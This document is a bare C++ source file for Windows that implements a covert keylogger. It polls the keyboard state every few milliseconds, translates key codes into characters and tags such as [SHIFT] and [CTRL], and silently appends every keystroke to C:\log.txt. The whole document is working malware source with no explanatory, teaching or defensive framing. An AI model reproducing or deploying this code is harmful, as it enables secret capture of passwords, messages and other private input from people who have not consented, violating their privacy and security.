#include <windows.h>
#include <fstream>
std::string GetKey(int Key)
{
std::string KeyString = "";
if (Key == 8)
KeyString = "[delete]";
else if (Key == 13)
KeyString = "\n";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TABULATOR]";
else if (Key == VK_CONTROL)
KeyString = "[CTRL]";
else if (Key == VK_ESCAPE)
KeyString = "[ESCAPE]";
else if (Key == VK_END)
KeyString = "[END]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[left]";
else if (Key == VK_RIGHT)
KeyString = "[right]";
else if (Key == VK_UP)
KeyString = "[UP]";
else if (Key == VK_DOWN)
KeyString = "[DOWN]";
else if (Key == VK_SNAPSHOT)
KeyString = "[SNAPSHOT]";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
return KeyString;
}
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // pointer to command line
int nCmdShow // show state of window
)
{
std::string Filename = "C:\\log.txt";
std::string TempString = "";
std::fstream FStream;
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
while(true)
{
Sleep(5);
for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
}